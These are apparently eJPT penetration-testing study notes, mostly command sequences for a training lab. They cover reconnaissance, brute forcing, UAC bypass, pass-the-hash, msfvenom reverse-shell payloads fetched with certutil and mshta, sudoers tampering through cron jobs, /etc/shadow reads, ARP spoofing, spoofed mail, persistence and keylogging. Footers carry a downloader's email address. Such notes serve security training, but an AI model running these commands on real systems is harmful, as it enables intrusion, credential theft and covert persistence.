E JPT v2 Notes by Hamid TCM Security
E JPT v2 Notes by Hamid TCM Security
eJPT V2 : notes
JR PENTESTER
B Y
E lm a r r o u n i
Hamid
eJPT V2:
Table des matières
1. Information gathering : .......................................................................................................................5
a. passive:................................................................................................................................. 5
b. active: ................................................................................................................................... 5
d. SSH: .................................................................................................................................... 10
e. HTTP:.................................................................................................................................. 10
iis: .........................................................................................................................................................10
apache: ................................................................................................................................................11
f. mysql: ................................................................................................................................. 13
3. Vulnerability Assessment:..................................................................................................................15
2
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
b. Ssh ...................................................................................................................................... 24
c. ftp: ...................................................................................................................................... 24
d. Samba : .............................................................................................................................. 24
e. Linux kernel exploitation : ............................................................................................... 25
f. Cron jobs : .......................................................................................................................... 25
b. wireshark: .......................................................................................................................... 30
c. ARP poisoning : ................................................................................................................. 30
Dsniff tools : .......................................................................................................................................31
d. tshark : ............................................................................................................................... 31
7. metasploit:...........................................................................................................................................33
a. pivoting : ............................................................................................................................ 34
b. apache: ............................................................................................................................... 34
c. mysql: ................................................................................................................................. 35
d. smtp:................................................................................................................................... 36
e. WMAP: ............................................................................................................................... 38
f. msfvenom: ......................................................................................................................... 38
g. Aoutmating Metasploit: ................................................................................................... 39
h. Apache Tomcat:................................................................................................................. 40
i. FTP:..................................................................................................................................... 40
j. meterpter: .......................................................................................................................... 40
k. windows post exploitation : ............................................................................................. 41
bypass UAC:...........................................................................................................................................41
impersonate: .........................................................................................................................................41
psexec: ..................................................................................................................................................41
persistence: ...........................................................................................................................................41
enable_rdp: ...........................................................................................................................................41
keylogging: ............................................................................................................................................42
clearing event logs: ................................................................................................................................42
pivoting: ................................................................................................................................................42
l. linux post exploitation : ................................................................................................... 43
3
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
rootkit: ..................................................................................................................................................43
persistence: ...........................................................................................................................................43
8. explotation : ........................................................................................................................................44
b. searchsploit:....................................................................................................................... 44
c. using exploit manually :................................................................................................... 44
d. netcat : ............................................................................................................................... 44
d. nikito: ................................................................................................................................. 53
e. sqlmap: .............................................................................................................................. 54
f. XSSer: ................................................................................................................................. 55
4
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
1. Information gathering :
a. passive:
-WHOIS
- robots.txt “this is file in any website”
-sitemap.xml “like robots.txt”
-Wapplalyzer “it’s extension in browser to know what the technologie use in
website”
-whatweb
-HTrack in kali webhttrack
-netcraft “it’s a sitewep”
- dnsrecon -d <domine>
-dnsdumpster “it’s site for information gathering “
-wafw00f <site web > #it’s a tool in kali linux to indentify web firewall
-sublist3r -d <domine> -e <search engines >
-google dorks : <word> site:<url>
<word> intitle:<titre>
inurl:<word> intitle:<word>
site:*.<domine> filetype:<extension>
cash:<domine>
-waybackmachine
-theHarvster “search for email “
-haveibeenpwned.com
b. active:
- dns zone transfers
-dnsenum
-nmap
5
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
6
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
a. SMB:
We have discovered that multiple ports are open. SMB port 445 is also exposed. We will run the Nmap
script to list the supported protocols and dialects of an SMB serve:
nmap -p445 --script smb-protocols <ip>
Running security mode script to return the information about the SMB security level:
nmap -p445 --script smb-security-mode <ip>
We have the SMB server credentials i.e <x>:<x> , We will use it with Nmap script to scan the target to
discover sensitive information :
nmap -p445 --script smb-enum-sessions <ip>
nmap -p445 --script smb-enum-sessions --script-args smbusername=<x>,smbpassword=<x> <ip>
7
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
b. Samba:
Find the exact version of samba server by using appropriate nmap script:
nmap --script smb-os-discovery.nse -p 445 <ip>
Find the exact version of samba server by using smb_version metasploit module:
->msfconsole
->use auxiliary/scanner/smb/smb_version
->set RHOSTS <ip>
->exploit
What is the NetBIOS computer name of samba server? Use appropriate nmap scripts :
nmap --script smb-os-discovery.nse -p 445 <ip>
Find the NetBIOS computer name of samba server using nmblookup:
nmblookup -A <ip>
Using smbclient determine whether anonymous connection (null session) is allowed on the samba
server or not:
smbclient -L <ip> -N
Using rpcclient determine whether anonymous connection (null session) is allowed on the samba server
or not:
rpcclient -U "" -N <ip>
Find the OS version of samba server using rpcclient:
rpcclient -U "" -N <ip>
Find the OS version of samba server using enum4Linux:
enum4linux -o <ip>
Find the server description of samba server using smbclient:
smbclient -L <ip> -N
Is NT LM 0.12 (SMBv1) dialects supported by the samba server? Use appropriate nmap script :
nmap -p445 --script smb-protocols <ip>
Is SMB2 protocol supported by the samba server? Use smb2 metasploit module:
msfconsole
use auxiliary/scanner/smb/smb2
set RHOSTS <ip>
8
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
exploit
List all users that exists on the samba server using appropriate nmap script:
nmap --script smb-enum-users.nse -p445 <ip>
List all users that exists on the samba server using smb_enumusers metasploit modules:
msfconsole
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <ip>
exploit
List all users that exists on the samba server using enum4Linux:
enum4linux -U <ip>
List all users that exists on the samba server using rpcclient
rpcclient -U "" -N <ip>
enumdomusers
Find SID of user “admin” using rpcclient:
rpcclient -U "" -N <ip>
lookupnames admin
List all available shares on the samba server using smb_enumshares metasploit module:
Msfconsole
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip>
exploit
List all available shares on the samba server using enum4Linux:
enum4linux -S <ip>
List all available shares on the samba server using smbclient:
smbclient -L <ip>
Find domain groups that exists on the samba server by using enum4Linux:
enum4linux -G <ip>
Find domain groups that exists on the samba server by using rpcclient:
rpcclient -U "" -N <ip>
enumdomgroups
Is samba server configured for printing?:
enum4linux -i <ip>
How many directories are present inside share “public”?:
9
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
smbclient //<ip>/public -N
ls
Which share is read only?:
smbmap -H <ip> -u <user> -p <password>
List the named pipes available over SMB on the samba server?:
Msfconsole
use auxiliary/scanner/smb/pipe_auditor
c. FTP:
Check whether anonymous login is allowed on the ftp server using nmap script:
nmap --script ftp-anon <ip>
d. SSH:
Fetch the banner using netcat and check the version of SSH server:
nc <ip> 22
How many “encryption_algorithms” are supported by the SSH server:
nmap --script ssh2-enum-algos <ip>
What is the ssh-rsa host key being used by the SSH server:
nmap --script ssh-hostkey --script-args ssh_hostkey=full <ip>
Which authentication method is being used by the SSH server for user:
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<ip>" <ip>
Find the password of user “administrator” use appropriate nmap:
echo "administrator" > users
nmap -p 22 --script ssh-brute --script-args userdb=/root/users <ip>
Find the password of user “root” using ssh_login metasploit module with userpass dictionary:
/usr/share/wordlists/metasploit/root_userpass.txt :
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.40.231.3
set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set verbose true exploit
e. HTTP:
iis:
10
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
unning whatweb tool to find all possible information about the target server:
whatweb <ip>
use the httpie tool to gather target server information :
http <ip>
Running the dirb tool on the target server port 80 to discover the web server’s directories and
subdirectories:
dirb http://<ip>
We have found all the basic details about the target server without using the browser. We could also
use browsh “A fully-modern text-based browser, rendering to TTY and browsers”:
browsh --startup-url http://<ip>/Default.aspx
Running http-enum nmap script to discover interesting directories:
nmap --script http-enum -sV -p 80 <ip>
Running Header script to get the IIS server header information:
nmap --script http-headers -sV -p 80 <ip>
Running http-methods script on /webdav path to discover all allowed methods:
nmap --script http-methods --script-args http-methods.url-path=/webdav/ <ip>
Running webdav scan Nmap script to identify WebDAV installations the script uses the OPTIONS and
PROPFIND methods to detect it:
nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/ <ip>
apache:
Which web server software is running on the target server and also find out the version using nmap:
nmap -sV -script banner <ip>
Which web server software is running on the target server and also find out the version using suitable
metasploit module:
msfconsole
use auxiliary/scanner/http/http_version
Check what web app is hosted on the web server using curl command:
curl http://<ip>/
Check what web app is hosted on the web server using browsh CLI based browser:
browsh --startup-url <ip>
Check what web app is hosted on the web server using lynx CLI based browser:
11
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
lynx http://<ip>
Perform bruteforce on webserver directories and list the names of directories found. Use brute_dirs
metasploit module :
use auxiliary/scanner/http/brute_dirs
use the directory buster (dirb) with tool/usr/share/metasploit-framework/data/wordlists/directory.txt
dictionary to check if any directory is present in the root folder of the web server. List the names of
found directories :
dirb http://192.30.247.3
/usr/share/metasploit-framework/data/wordlists/directory.txt
Which bot is specifically banned from accessing a specific directory?:
use auxiliary/scanner/http/robots_txt
12
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
f. mysql:
What command is used to connect to remote MySQL database:
mysql -h <ip> -u root
How many databases are present on the database server?:
show databases;
How many records are present in table “authors”? This table is present inside the “books” datab:
use books;
select count(*) from authors;
Dump the schema of all databases from the server using suitable metasploit module?:
msfconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS <ip>
set USERNAME root
set PASSWORD ""
exploit
How many directories present in the /usr/share/Metasploit framework/data/wordlists/directory.txt,
are writable? List the names :
use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set RHOSTS <ip>
set VERBOSE false
set PASSWORD ""
exploit
How many of sensitive files present in /usr/share/metasploit-
framework/data/wordlists/sensitive_files.txt are readable? List the names :
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip>
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit
Find the system password hash for user "root":
select load_file("/etc/shadow");
How many database users are present on the database server? Lists their names and password hashes:
13
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS <ip>
set USERNAME root
set PASSWORD ""
Check whether anonymous login is allowed on MySQL Server:
nmap --script=mysql-empty-password -p 3306 <ip>
Check whether “InteractiveClient” capability is supported on the MySQL server:
nmap --script=mysql-info -p 3306 <ip>
Enumerate the users present on MySQL database server using mysql-users nmap script:
nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip>
List all databases stored on the MySQL Server using nmap script:
nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip>
Find the data directory used by mysql server using nmap script:
nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip>
Check whether File Privileges can be granted to non admin users using mysql-audit nmap script:
nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-
audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 <ip>
Dump all user hashes using nmap script:
nmap --script mysql-dump-hashes --script-args="username='root',password=''" -p 3306 <ip>
Find the number of records stored in table “authors” in database “books” stored on MySQL Server using
mysql-query nmap script:
nmap --script=mysql-query --script-args="query='select count(*) from
books.authors;',username='root',password=''" -p 3306 <ip>
Identifying valid MSSQL users and their passwords using provided username and password list:
nmap -p 1433 --script ms-sql-brute --script-args
userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-
passwords.txt 10.6.24.17
Extracting sysusers from MSSQL and storing the output in a file i.e output.txt:
nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-
sql-query.query="SELECT * FROM master..syslogins" 10.6.24.17-oN output.txt
Dump the hashes of MSSQL users:
nmap -p 1433 --script ms-sql-dump-hashes --script-args
mssql.username=admin,mssql.password=anamaria 10.6.24.17
14
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
3. Vulnerability Assessment:
-nessus
-open vas
15
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
b. SMB:
Running psexec module to gain the meterpreter shell:
set RHOSTS <ip>
set SMBUser <user>
set SMBPass <pass>
c. RDP:
RDP (Remote Desktop Protocol) default port is 3389. But, we have not discovered that port. We can
notice the port 3333 is exposed. We can Identify RDP endpoints using an auxiliary module on port 3333
if it’s running RDP:
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS <ip>
set RPORT 3333
Running hydra tool to find valid username and password from the provided list:
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-
framework/data/wordlists/unix_passwords.txt rdp:// <ip> -s 3333
We have discovered four valid users and passwords. Access the remote server using xfreerdp tool:
xfreerdp /u:<user> /p:<password> /v:<ip>
d. WinRM:
winRM typically uses ports 5985 and 5986
Checking WinRM supported authentication method using an auxiliary module:
use auxiliary/scanner/winrm/winrm_auth_methods
Execute command on the target server using winrm_cmd module:
use auxiliary/scanner/winrm/winrm_cmd
16
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
17
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
e. UAC Bypass:
Checking the current user :
Getuid
Sysinfo
We can observe that we are running as an admin user. Migrate the process in explorer.exe. First, search
for the PID of explorer.exe and use the migrate command to migrate the current process to the explorer
process:
ps -S explorer.exe
migrate <pid>
Elevate to the high privilege:
Getsystem
Get a windows shell and check if the admin user is a member of the Administrators group:
shell
net localgroup administrators
Generating malicious executable using msfvenom and running it on the target machine to gain
administrator user privileges:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe > 'backdoor.exe'
file ''backdoor.exe ‘’
Switch the directory to the user’s temp folder and upload the Akagi64.exe and backdoor.exe
executable:
CTRL + C
cd C:\\Users\\admin\\AppData\\Local\\Temp
upload /root/Desktop/tools/UACME/Akagi64.exe .
upload /root/backdoor.exe .
ls
Start another msfconsole and run a multi handler:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT 4444
Switch back to the meterpreter and run the Akagi64.exe executable:
Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe
Dump the hashes :
Hashdump
18
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
19
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
echo $password
We are running a command prompt as an administrator user using discover credentials:
runas.exe
/user:<user> cmd
<password>
Whoami
Running the hta_server module to gain the meterpreter shell. Start msfconsole
msfconsole -q
use exploit/windows/misc/hta_server
exploit
Gaining a meterpreter shell
You need to use your own metasploit HTA server link
mshta.exe http://<ip>:8080/<link>.hta
20
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
21
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
22
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
j. Pass-the-hash:
Service postgresql start
Migrate -N lsass.exe
hashdump
Get the ntlm hashes
use exploit/windows/smb/psexec
set lport 4422
set rhosts <ip>
set smbuser administrator
set smpass <nl>:<ntlm>
set target native\ upload
in another way:
crackmapexec smb <ip> -u administrator -H <ntlm hash> -x <command
23
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
b. Ssh
brut force by hydra :
haydra -L <user_file> -P <pass_file> -t 4 <ip> ssh
after gain initial access access in linux :
vrsion of distribution linux
cat etc/*issue
version if linux kernal :
uname -r
the versions 0.6.0-0.80 are vulnerable to an authentication bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true
c. ftp:
Find the password of user “sysadmin” using nmap script:
echo "sysadmin" > users
nmap --script ftp-brute --script-args userdb=/root/users -p 21 <ip>
ftp <ip>
command for download from ftp server : get
d. Samba :
After get password by brute force , we will get more information about target machine:
Smbmap -H <host > -u <user> -p <password >
Smbclient //ip/usershare -U admin
Enum4linuix -a –u <user> -p <password>
Or we can use this module if the samba is vulnerable
24
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
use exploit/linux/samba/is_known_pipename
f. Cron jobs :
Cron is a life save for admins when it comes to doing periodic maintainence tasks on the
system. They can even be used in cases where tasks are performed within individual user
directories. However, such automations need to be used with caution or can lead to easy privilege
escalation attacks
-Cron jobs can also be run as any user on the system, this is a very important
factor to keep an eye on as we will be targeting Cron jobs that have been configured to be run as the
“root” user.
-This is primarily because, any script or command that is run by a Cron job will run as the root user
and will consequently provide us with root access. In order to elevate our privileges, we will need to
find and identify cron jobs
-scheduled by the root user or the files being processed by the cron job
After get exploitations in user without root privilege we will flowing this methode :
Firstly, we will search for temporally files have variable time creation
ls -l “for see the creation time and permission ”
25
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
we will go to tab this command for showing how this temporally file work :
grep -nri “<path_of_file> /<bin , root , etc , usr ….>
if we find the original bash script and if we have the permission to edit it we will add this
command for to make normal user to escalate permission without the password :
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > <path_of_bahscript>
The /etc/sudoers file is what is used to determine if a user has permission
We can tab this command for show the cron jons was running in the current user :
crontab -l
if we found two binary file , <first_file> has SUID permission (‘ls -l’) and <second_file> has root
privilege , and we found the <second_file> are executing when we execute <first_file> :
strings <first_file>
so we can remove <second_file> and creat new file with same name and add /bin/bash to its content
and execute <first_file>:
rm <second_file>
cp /bin/bash <second_file>
./ <first_file>
26
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
h. Dump hash :
All of the information for all accounts on Linux is stored in the passwd file located in:
/etc/passwd
All the encrypted passwords for the users are stored in the shadow file. it can be found in the
following directory: /etc/shadow
$1 MD5
$2blowfish
$5 SHA-256
$6SHA-512
Before we use Metasploit we will run service of Postgres data base for work with
msfconsole without any problems :
/etc/init.d/postgresql start
so after we found the exploit in metasploit and we exploted:
we can use another module in msf to obtain hash :
use post/linux/gather/hashdump
set SESSION 1
and use another module to crack hash :
use auxiliary/analyze/crack_linux
set SHA512 true
run
27
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
A Record :
These records resolve to IPv4 addresses, for example 104.26.10.229
AAAA Record :
These records resolve to IPv6 addresses, for example 2606:4700:20::681a:be5
CNAME Record:
These records resolve to another domain name, for example, TryHackMe's online
shop has the subdomain name store.tryhackme.com which returns a CNAME
record shops.shopify.com. Another DNS request would then be made to
shops.shopify.com to work out the IP address.
MX Record:
These records resolve to the address of the servers that handle the email for the
domain you are querying, for example an MX record response for tryhackme.com
would look something like alt1.aspmx.l.google.com. These records also come
with a priority flag. This tells the client in which order to try the servers, this is
perfect for if the main server goes down and email needs to be sent to a backup
server.
TXT Record
TXT records are free text fields where any text-based data can be stored. TXT
records have multiple uses, but some common ones can be to list servers that
have the authority to send an email on behalf of the domain (this can help in the
battle against spam and spoofed email). They can also be used to verify
ownership of the domain name when signing up for third party services.
28
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
1. When you request a domain name, your computer first checks its local cache
to see if you've previously looked up the address recently; if not, a request to
your Recursive DNS Server will be made.
2. A Recursive DNS Server is usually provided by your ISP, but you can also
choose your own. This server also has a local cache of recently looked up
domain names. If a result is found locally, this is sent back to your computer,
and your request ends here (this is common for popular and heavily
requested services such as Google, Facebook, Twitter). If the request cannot
be found locally, a journey begins to find the correct answer, starting with the
internet's root DNS servers.
3. The root servers act as the DNS backbone of the internet; their job is to
redirect you to the correct Top Level Domain Server, depending on your
request. If, for example, you request www.tryhackme.com, the root server will
recognise the Top Level Domain of .com and refer you to the correct TLD
server that deals with .com addresses.
4. The TLD server holds records for where to find the authoritative server to
answer the DNS request. The authoritative server is often also known as the
nameserver for the domain. For example, the name server
for tryhackme.com is kip.ns.cloudflare.com and uma.ns.cloudflare.com. You'll
often find multiple nameservers for a domain name to act as a backup in case
one goes down.
5. An authoritative DNS server is the server that is responsible for storing the
DNS records for a particular domain name and where any updates to your
domain name DNS records would be made. Depending on the record type,
the DNS record is then sent back to the Recursive DNS Server, where a local
copy will be cached for future requests and then relayed back to the original
client that made the request. DNS records all come with a TTL (Time To Live)
value. This value is a number represented in seconds that the response
should be saved for locally until you have to look it up again. Caching saves
on having to make a DNS request every time you communicate with a server.
29
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
b. wireshark:
c. ARP poisoning :
What is ARP Spoofing (ARP Poisoning)
An ARP spoofing, also known as ARP poisoning, is a Man in the Middle (MitM) attack that allows
attackers to intercept communication between network devices. The attack works as follows:
30
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
1. The attacker must have access to the network. They scan the network to determine the IP
addresses of at least two devices—let’s say these are a workstation and a router.
2. The attacker uses a spoofing tool, such as Arpspoof or Driftnet, to send out forged ARP
responses.
3. The forged responses advertise that the correct MAC address for both IP addresses,
belonging to the router and workstation, is the attacker’s MAC address. This fools both
router and workstation to connect to the attacker’s machine, instead of to each other.
4. The two devices update their ARP cache entries and from that point onwards, communicate
with the attacker instead of directly with each other.
5. The attacker is now secretly in the middle of all communications.
Dsniff tools :
dsniff is a collection of tools for network auditing and penetration testing.
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>
d. tshark :
Tshark is a command line tool created by the Wireshark team and shares the same powerful
parsing engine as Wireshark
Which version of Tshark is installed in the lab?
tshark -v
What is the Tshark command to sniff on eth0
tshark -i eth0
How can you read this file in Tshark and display the packet list on the console?
tshark -r HTTP_traffic.pcap
How can you find the total number of packets in HTTP_traffic.pcap:
tshark -r HTTP_traffic.pcap | wc –l
Tshark command to read the first 100 packets only from HTTP_traffic.pcap
tshark -r HTTP_traffic.pcap -c 100
Print the list of protocols in HTTP_traffic.pcap
tshark -r HTTP_traffic.pcap -z io,phs –q
Command to show only the HTTP traffic from a PCAP file?
tshark -Y ‘http’ -r HTTP_traffic.pcap
Command to show only the IP packets sent from IP address 192.168.252.128 to IP address 52.32.74.91?
tshark -r HTTP_traffic.pcap -Y "ip.src==192.168.252.128 && ip.dst==52.32.74.91"
Command to print only packets containing GET requests?
tshark -r HTTP_traffic.pcap -Y “http.request.method==GET”
31
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
Command to print only packets only source IP and URL for all GET request packets?
tshark -r HTTP_traffic.pcap -Y "http.request.method==GET" -Tfields -e frame.time -e ip.src -e
http.request.full_uri
How many HTTP packets contain the "password" string?
tshark -r HTTP_traffic.pcap -Y "http contains password”
What is the destination IP address for GET requests sent for New York Times (www.nytimes.com)?
tshark -r HTTP_traffic.pcap -Y "http.request.method==GET && http.host==www.nytimes.com" -Tfields -e
ip.dst
What is the session ID being used by 192.168.252.128 for Amazon India store (amazon.in)?
tshark -r HTTP_traffic.pcap -Y "ip contains amazon.in && ip.src==192.168.252.128" -Tfields -e ip.src -e
http.cookie
What type of OS the machine on IP address 192.168.252.128 is using (i.e.
Windows/Linux/MacOS/Solaris/Unix/BSD)?
tshark -r HTTP_traffic.pcap -Y "ip.src==192.168.252.128 && http" -Tfields -e http.user_agent
32
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
7. metasploit:
Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that
can support all phases of a penetration testing engagement, from information gathering to
post-exploitation.
The Metasploit Framework is a set of tools that allow information gathering, scanning,
exploitation, exploit development, post-exploitation, and more. While the primary usage of
the Metasploit Framework focuses on the penetration testing domain, it is also useful for
vulnerability research and exploit development.
33
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
a. pivoting :
after we obtain meterpreter session in first target we will search for privet ip for discover
another targets in the same netwok of target 1
shell
ifconfig ; or ipconfig (if the target is windows )
ctrl + c
run autoroute -s <ip>
backround
search port scan
use 5
set <ip>
b. apache:
1. auxiliary/scanner/http/http_version
2. auxiliary/scanner/http/http_header
3. auxiliary/scanner/http/robots_txt
4. auxiliary/scanner/http/brute_dirs
5. auxiliary/scanner/http/dir_scanner
6. auxiliary/scanner/http/dir_listing
7. auxiliary/scanner/http/files_dir
8. auxiliary/scanner/http/http_put
set PATH /data set FILENAME test.txt
34
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
c. mysql:
In this challenge we are going to look into the following MySQL auxiliary modules which can be useful
for MySQL enumeration and Penetration testing.
1. auxiliary/scanner/mysql/mysql_version
2. auxiliary/scanner/mysql/mysql_login
3. auxiliary/admin/mysql/mysql_enum
4. auxiliary/admin/mysql/mysql_sql
5. auxiliary/scanner/mysql/mysql_file_enum
6. auxiliary/scanner/mysql/mysql_hashdump
7. auxiliary/scanner/mysql/mysql_schemadump
8. auxiliary/scanner/mysql/mysql_writable_dirs
35
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
d. smtp:
What is the SMTP server name and banner:
nmap -sV -script banner <ip>
Connect to SMTP service using netcat and retrieve the hostname of the server (domain name):
nc <ip> 25
Does user “admin” exist on the server machine? Connect to SMTP service using netcat and check
manually.
VRFY admin@openmailbox.xyz
Does user “commander” exist on the server machine? Connect to SMTP service using netcat and check
manually.
VRFY commander@openmailbox.xyz
What commands can be used to check the supported commands/capabilities? Connect to SMTP service
using telnet and check.
telnet <ip> 25
HELO attacker.xyz
EHLO attacker.xyz
How many of the common usernames present in the dictionary
/usr/share/commix/src/txt/usernames.txt exist on the server. Use smtp-user-enum tool for this task.
smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t <ip>
How many common usernames present in the dictionary /usr/share/metasploit-
framework/data/wordlists/unix_users.txt exist on the server. Use suitable metasploit module for this
task.
use auxiliary/scanner/smtp/smtp_enum
Connect to SMTP service using telnet and send a fake mail to root user.
telnet <ip> 25
HELO attacker.xyz
mail from: admin@attacker.xyz
rcpt to:root@openmailbox.xyz
data
Subject: Hi Root Hello,
This is a fake mail sent using telnet command.
From,
Admin
.
Send a fake mail to root user using sendemail command.
36
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
37
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
e. WMAP:
Wmap is plugin in msfconsole help us to automate the enumeration and vulnerability assessment in
the Metasploit like nessus
After rum msf we will use the command for using wmap :
Load wmap
Wmap have this option we will focus in modules , run site , target , vulns
wmap_modules wmap_nodes wmap_run wmap_sites wmap_targets wmap_vulns
firstly , we will use this command for add the site of targets :
wmap_sites -a <ip>
wmap_targets -t http://<ip>
we can use this command to view available targets :
wmap_sites -l <ip>
we will use this command to begin performing the web app vulnerability scan
wmap_run -t
after view the available modules of scan we can use this option for run then all automatically :
wmap_run -e
f. msfvenom:
msfvenom -a “architecture” -p "payload" lhost="ip" -f "format" -e "version of encode"
Linux Executable and Linkable Format (elf):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
python3 -m http.server 9000
chmod +x rev_shell.elf
steps :
1- generate payload with msfvenom
2- run server http with python3 : sudo python3 -m http.server <port>
38
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
g. Aoutmating Metasploit:
For find the automatic file of metasploit we can go to /usr/share/metasploit-
framwork/scripts/resources , in this location has same of scripts , but we can create new file
script by using vim tool with write the same steps that we following in msfconsole and save
with extension .rc , then we can used in msfconsole by command : msfconsole -r <file>
or , we can run msfconsole in use command : resource <path_of_file>
also , we can create the script , when using msfconsole by using makerc <path_file > ,the script
will be create automatically by the last input was using in msfconsole
39
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
h. Apache Tomcat:
Apache tomcat is web server developed by java, and it typically run in port 8080 used http protocol
, the version 8.5.19 are vulnerable to RCE
for exploit that vulnerability in msf we will use this module :
use exploit/multi/http/tomcat_jsp_upload_bypass
for get meterpreter shell , will should be generate payload by msfvenom and run simple server by
python and type this command in jsp shell in the target session :
certutil -urlcache -f http://<ip>/file file
after that , we will run the multi handler in msfconsole and configurate it and execute the payload in
target : ./file
i. FTP:
vsFTP is FTP server run unix and linux , the version 2.3.4 is vulnerable
exploit/unix/ftp/vsftpd_234_backdoor
j. meterpter:
sysinfo
getuid
checksum
getenv path
getenv term
ps
migrate <id>
migrate -N <name>
session -u 1
40
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
impersonate:
load incognito
list_tokens -u
impersonate_token
psexec:
hashdump
search psexec
set smbuser
set smbpass
persistence:
search platforme:windows persistence_service
set session 1
any time we can use multi handler to back access in the target
enable_rdp:
for add user in windows :
net user username password /add
net localgroup groupname username /add
search enable_rdp
41
Downloaded by Wokwok (werkingpcrequest@gmail.com)
lOMoARcPSD|51490668
set sessions
change the password of user : net user <user> <password>
xfreerdp /u:<user> /p:<password> /v:<ip>
keylogging:
keyscan_start ; keyscan_dump
pivoting:
run autoroute -s <ip_network>
